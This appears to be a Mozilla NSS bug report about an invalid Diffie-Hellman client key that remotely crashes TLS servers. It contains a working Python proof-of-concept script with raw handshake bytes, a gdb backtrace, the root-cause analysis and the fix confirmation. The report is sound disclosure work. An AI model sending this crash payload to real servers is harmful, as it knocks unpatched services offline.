1278645 - invalid DH client key causes segfault

Status: RESOLVED DUPLICATE of bug 1306103

(NSS :: Libraries, defect)

Description

[Jeffrey Arbuckle]

Attachment: ssl3_HandleDHClientKeyExchange.patch

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36

Steps to reproduce:

Automated scanning tools have been causing my RHEL7 openldap servers (which
use NSS) to crash.

Using the following python program you can remotely trigger a SIGSEGV
in a program that uses MozillaNSS for serving TLS by sending an invalid
Diffie-Hellman key.

import socket
import base64

addr = "127.0.0.1"
port = 2099

# a client hello using TLS1.0, TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
client_hello = base64.b64decode("FgMBAC0BAAApAwFXLM1FbXJJaVhVVWpRempBcUxGRV9KWU5NNWpiMlh4VwAAAgAWAQA=")

# a client key exchange with Diffie-Hellman Client Params Pubkey
# of length 1 with value 0x01
key_exchange = base64.b64decode("FgMBAAcQAAADAAEBFAMBAAEBFgMBACgpeyfsg3fzqebC2kBo//CdXazK+49MKcOp26XK8wjum3lvYtSxlt81")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((addr, port))
s.send(client_hello)
data = s.recv(1024)
s.send(key_exchange)
s.close()



Given an nssdb setup with:

% openssl pkcs12 -export -name nickname -out server.pfx -inkey server.key -in server.crt -certfile server_ca.crt
% mkdir nssdb
% certutil -N -d nssdb
% pk12util -i server.pfx -d nssdb

% LD_LIBRARY_PATH=./lib gdb ./bin/selfserv

(gdb) r -d nssdb -n 'nickname' -p 2099 -v -V tls1.0:



Actual results:

selfserv: About to call accept.
selfserv: About to call accept.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xf3ff3b40 (LWP 19570)]
0xf7e47943 in PK11_SignWithSymKey (symKey=0x0, mechanism=3461563235, param=0xf3ff01f8, sig=0xf3ff01e0, data=0xf3ff01ec) at pk11obj.c:825
825         PK11SlotInfo *slot = symKey->slot;
(gdb) bt
#0  0xf7e47943 in PK11_SignWithSymKey (symKey=0x0, mechanism=3461563235, param=0xf3ff01f8, sig=0xf3ff01e0, data=0xf3ff01ec) at pk11obj.c:825
#1  0xf7f82b9e in ssl3_ComputeRecordMACConstantTime (spec=0x80bfd98, useServerMacKey=0, header=0xf3ff031b "", headerLen=13,
    input=0x80c5a58 "SCRUBBED", inputLen=40,
    originalLen=40, outbuf=0xf3ff02db "", outLen=0xf3ff0294) at ssl3con.c:2690
#2  0xf7f979e9 in ssl3_UnprotectRecord (ss=0x80be238, cText=0xf3ff0418, plaintext=0x80be378, alert=0xf3ff03a8) at ssl3con.c:12916
#3  0xf7f97e39 in ssl3_HandleRecord (ss=0x80be238, cText=0xf3ff0418, databuf=0x80be378) at ssl3con.c:13065
#4  0xf7f9a3f7 in ssl3_GatherCompleteHandshake (ss=0x80be238, flags=0) at ssl3gthr.c:480
#5  0xf7f9b000 in ssl_GatherRecord1stHandshake (ss=0x80be238) at sslcon.c:81
#6  0xf7fa3a6d in ssl_Do1stHandshake (ss=0x80be238) at sslsecur.c:70
#7  0xf7fa58bb in ssl_SecureRecv (ss=0x80be238, buf=0xf3ff0848 "", len=10239, flags=0) at sslsecur.c:845
#8  0xf7fa5995 in ssl_SecureRead (ss=0x80be238, buf=0xf3ff0848 "", len=10239) at sslsecur.c:865
#9  0xf7faefd5 in ssl_Read (fd=0x80a1ba0, buf=0xf3ff0848, len=10239) at sslsock.c:2599
#10 0xf7d82ec5 in PR_Read (fd=0x80a1ba0, buf=0xf3ff0848, amount=10239) at ../../../../pr/src/io/priometh.c:109
#11 0x0804e9d2 in handle_connection (tcp_sock=0x80a1ba0, model_sock=0x80682f0, requestCert=0) at selfserv.c:1355
#12 0x0804d9ae in jobLoop (a=0x0, b=0x0, c=0) at selfserv.c:638
#13 0x0804d87b in thread_wrapper (arg=0x809a2f4) at selfserv.c:607
#14 0xf7da7ca8 in _pt_root (arg=0x80a5b08) at ../../../../pr/src/pthreads/ptthread.c:216
#15 0xf7d3bf12 in start_thread () from /lib/libpthread.so.0
#16 0xf7c6d68e in clone () from /lib/libc.so.6



Expected results:

The error actually originates in ssl3_HandleDHClientKeyExchange().
It's call to PK11_PubDerive() correctly returns NULL upon catching the invalid key, but the function
never sets rv=SECFailure to propogate the failure.

selfserv should have closed the connection instead of derefrencing the symKey NULL pointer
and crashing.

Comment 1

[Franziskus Kiefer [:franziskus]]

Thanks for the bug report. The problem has (accidentally) been fixed already in [1].
I'm closing this as fixed. Can you confirm that the segfault is gone Jeffrey? If not, please reopen.

[1] https://hg.mozilla.org/projects/nss/rev/fdee095b5e2e

Comment 2

[Jeffrey Arbuckle]

Yes, the segfault is gone.